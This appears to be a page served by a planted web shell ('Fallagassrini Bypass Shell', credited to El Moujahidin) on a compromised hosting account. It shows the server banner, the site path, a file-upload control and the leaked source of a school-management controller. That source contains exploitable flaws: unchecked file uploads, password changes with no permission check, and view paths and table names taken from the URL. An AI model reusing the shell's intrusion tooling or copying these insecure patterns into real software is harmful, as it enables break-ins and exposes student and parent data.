? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/controllers/master.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Master extends BaseController {

	function  __construct() 
	{
		parent::BaseController();
                $this->load->library('Fpaginate');
                
                $this->load->model('mastermodel');
                $this->load->model('studentmodel');
                $this->load->model('settingsmodel');
	}
	
	function index($moduleid="",$tabid="")
	{
            if(empty($tabid))
            {
                $data['tabname']='Dashboard';
                $data['tabid']=1;
                $addressdata=$this->mastermodel->getdatas('schoolsetup');
                
            }
            else
            {
                $tab=$this->mastermodel->get_data_tab($tabid);
                foreach($tab as $id)
                {
                    $tabname=$id['tab_name'];
                    $tabid=$id['tab_id'];
                }
                $data['tabname']=$tabname;
                $data['tabid']=$tabid;
            }
            if(empty($moduleid))
            {
                $tart='index';
                $data['modulename']='';
                $data['module_id']=$moduleid;
                $data['modulelist']=$this->mastermodel->getmoduledata();

            }
            else
            {
                $tar=$this->mastermodel->getmoduledata($moduleid);
                foreach($tar as $target)
                {
                    $tart=$target['target'];
                    $data['modulename']=$target['module_caption'];
                }
            }
            $_SESSION['searchdata']="";
            $_SESSION['current_mode']=$moduleid;
            $_SESSION['modename']=$data['modulename'];
            $data['tabs']=$this->mastermodel->get_data_tab();
            $this->load->view(''.$data['tabname'].'/'.$tart.'',$data);
        }
        function get_post_values()
        {

        $data = array();

        foreach ($_POST as $key => $value)
            {

                if($key != "submit")
                 {

                    $data[$key] =  $this->input->post($key);
                 }
            }
            return $data;
        }

        /* common function  loading pages through jquery load method .
         * Usages:-used for displaying addform.
        */
        function addformdisplay($page,$directory,$table="",$pagenum="")
        {
            
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
            $this->load->view(''.$directory.'/'.$page.'');
            }
        }
        /* used for viewdatagrid for all modules- This is loaded from commonfunctions
         * which is re-routed to view function in corresponding controllers.
         * Both search and view uses same function in corresponding controllers , but search uses
         * forsubmitdata function in master controller and view uses viewdata in master controller, both
         * routed to same view function in corresponding controller.pagination can be done in view function
         * 
         */
        function viewdata($controller,$controllerfunction,$modelfunction,$page,$pagenum="")
        {                  
          
            $encoded_data=NULL; /* As there is no data to send we just declare it as an array*/
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
            $this->wick->light($controller.'/'.$controllerfunction.'/'.$encoded_data.'/'.$modelfunction.'/'.$page.'/'.$pagenum);
            }
        }

        /* Function used for submitting the form,each form in the application
         * $controllerfunction variable is used to determine which corresponding controller
         * function has to be called.This is passed as an argument from the form.
         * The same argument is used in the controller as wellas in the model.
         * forsubmitdata is called from forms.
         *  formsubmitdata is used also in search . Search function is routed
         * to this function and then re-routed to corresponding controller function.
         * For initial view and search same function is used in corresponding controllers , for eg.
         * in HR viewinhr function is used for view and search.
         *
         */

        function formsubmitdata($controller,$controllerfunction,$modelfunction='',$page='',$pagenum="")
        {
            $data = $this->get_post_values();
            $json = json_encode($data);

            $encoded_data= urlencode($json);
            $this->wick->light($controller.'/'.$controllerfunction.'/'.$encoded_data.'/'.$modelfunction.'/'.$page.'/'.$pagenum);
            
        }

        /* Function is called from view , via onclick.
         * Onclick function from viewgrid to javascript function in commonfunctions.php ie
         * editformdata(),this is redirected to editform function in masters, from where forwareded
         * to corresponding controller and method.
         */
        function editform($controller,$controllerfunction,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
             }
            else
            {
                $this->wick->light($controller.'/'.$controllerfunction.'/'.$id);

            }
        }

        function editformgeneral($folder,$page,$table,$field,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
                $data['viewinfo']= $this->mastermodel->get_data_srow($table,$id,$field);
                $this->load->view($folder."/".$page,$data);

            }
        }

        
        function viewform($controller,$controllerfunction,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
             }
            else
            {
                $this->wick->light($controller.'/'.$controllerfunction.'/'.$id);

            }
        }
        /* called from view via onclick
         * performs as previous function redirected to corresponding controller.
         */
        function deletedata($id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],2);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
                 $res=$this->mastermodel->deletemaster($id);
                 if($res==1)
                 {
                    $this->load->view('deletesuccess');
                 }
                 else
                 {
                    $this->load->view('deletefailure');
                 }
            }
        }

          function formeditsubmitdata($controller,$controllerfunction)
        {
            redirect($controller.'/'.$controllerfunction);
        }
        function checkexistence($table,$field,$value)
        {
            if($this->mastermodel->checkexistence($table,$field,$value)>0)
            {
                echo 1;
            }
        }
        function checkexistencearray($table,$field,$value)
        {
            if($this->mastermodel->checkexistencearray($table,$field,$value)>0)
            {
                echo 1;
            }
        }
        function checkexistenceedit($table,$field,$value,$masterfield,$masterid)
        {
            if($this->mastermodel->checkexistenceedit($table,$field,$value,$masterid,$masterfield)>0)
            {
                echo 1;
            }
        }
        function deletedataperm($id,$table,$field)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],2);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
                $res=$this->mastermodel->deletedataperm($id,$table,$field);
                if($res==1)
                {
                    $this->load->view('deletesuccess');
                }
                else
                {
                    $this->load->view('deletefailure');
                }
             }
        }
            /* used for viewdatagrid for all modules- This is loaded from commonfunctions
         * which is re-routed to view function in corresponding controllers.
         * Both search and view uses same function in corresponding controllers , but search uses
         * forsubmitdata function in master controller and view uses viewdata in master controller, both
         * routed to same view function in corresponding controller.pagination can be done in view function
         *
         */
        function viewdatadoc($controller,$controllerfunction,$modelfunction,$page,$pagenum="",$parent_id)
        {

            $encoded_data=NULL; /* As there is no data to send we just declare it as an array*/
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
            }
            else
            {
            $this->wick->light($controller.'/'.$controllerfunction.'/'.$encoded_data.'/'.$modelfunction.'/'.$page.'/'.$pagenum.'/'.$parent_id);
            }
        }

        function uploadform($masterid)
        {
            $data=array();
            $data['masterid']=$masterid;
            $this->load->view('Dashboard/uploadform',$data);
        }


        function editstatus($forgot_password_id)
        {

            $data=array();
            $data['forgot_password_id']=$forgot_password_id;
            $data['username']= $this->mastermodel->getsinglefieldvalue('forgot_password','username','forgot_password_id',$forgot_password_id);
            $this->load->view('Dashboard/editstatus',$data);
        }


        function change_password()
        {
            $this->load->view('Dashboard/change_password');
        }
        function passwordsubmit($password)
        {
            $this->mastermodel->insertpassword($password);
        }
        function submitupload()
        {
            $data=array();
            $postdata=$this->get_post_values();
            $path = './school/uploads/';
            $_FILES["upload_file"]["name"]=date('Y-m-d-h-i-s').$_FILES["upload_file"]["name"];
            if (!is_file("$path/".$_FILES["upload_file"]["name"]))
            {
                if (!(move_uploaded_file($_FILES["upload_file"]["tmp_name"],$path."/".$_FILES["upload_file"]["name"])))
                {
                        $data['msg']= "File not uploaded.. Permission denied!";
                }
                else
                {
                        $postdata['file_location']=$path."/".$_FILES["upload_file"]["name"];
                        $data=$this->mastermodel->uploadfile($postdata);
                        $data['msg']=  "File Uploaded successfully!";

                }
            }
            else
            {
                $data['msg']=  "File already exists";
            }
            $this->load->view('Dashboard/afterupload',$data);
        }

        function submitedit()
        {
            $this->mastermodel->reset_user_password_request();
            redirect('master/index/');
        }

        function autosuggeststudent($class_type)
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getstudents($class_type);
            foreach ($c_list as $items)
            {
                $name = $items['reg_no']." - ".$items['first_name']." ".$items['last_name'];
                if (strpos(strtolower($name), $q) !== false)
                {
                    echo ''.$name.'#'.$items['student_id'].'#';
                    echo "\n";
                }

            }
        }
         function autosuggestparentf()
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getparentf();
            foreach ($c_list as $items)
            {
                $name = $items['name'];
                if (strpos(strtolower($name), $q) !== false)
                {
                    echo ''.$name.'#'.$items['parent_id'].'#';
                    echo "\n";
                }

            }
        }

        function autosuggestparentm()
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getparentm();
            foreach ($c_list as $items)
            {
                $name = $items['name'];
                //$parentId=$items['parent_id']+1;
                if (strpos(strtolower($name), $q) !== false)
                {
                    echo ''.$name.' #'.$items['parent_id'].'#';
                    echo "\n";
                }

            }
        }
         function autosuggestteacher()
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getteacher();
            foreach ($c_list as $items)
            {
                $name1 = $items['first_name']." ".$items['last_name'];
                if (strpos(strtolower($name1), $q) !== false)
                {
                    echo ''.$name1.'#'.$items['teacher_id'].'#';
                    echo "\n";
                }

            }
        }
        function  autosuggeststaff()
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getstaff();
            foreach ($c_list as $items)
            {
                $name1 = $items['name'];
                if (strpos(strtolower($name1), $q) !== false)
                {
                    echo ''.$name1.'#'.$items['staff_id'].'#';
                    echo "\n";
                }

            }
        }


        function  autosuggestsubject()
        {
            $q = strtolower($_POST["q"]);
           if (!$q) return;
            $c_list=$this->mastermodel->getsubject();
            foreach ($c_list as $items)
            {
                $classcode = $this->mastermodel->getSingleFieldValue('classlevel','classlevel_code','classlevel_id',$items['classlevel_id']);
                $name1 = $items['subject_name'];
                $sub_code = $items['subject_code'];
                $class = $items['classlevel_id'];
                if (strpos(strtolower($name1), $q) !== false)
                {
                    echo '#'.$items['subject_id'].'#'.$name1.'#'.$classcode;
                    echo "\n";
                }

            }
        }

        function autosuggeststudents()
        {
            $q = strtolower($_POST["q"]);
            if (!$q) return;
            $c_list=$this->mastermodel->getstudent();
            foreach ($c_list as $items)
            {
                 $classcode = $this->mastermodel->getSingleFieldValue('classlevel','classlevel_code','classlevel_id',$items['classlevel_id']);
                $name = $items['reg_no']." - ".$items['first_name']." ".$items['last_name'];
                if (strpos(strtolower($name), $q) !== false)
                {
                    echo '#'.$items['student_id'].'#'.$name.'#'.$classcode;
                    echo "\n";
                }

            }
        }

        function loadpage($directory,$page)
        {
            $this->load->view($directory.'/'.$page);
        }
      
        
}

/* End of file master.php */
/* Location: ./system/application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net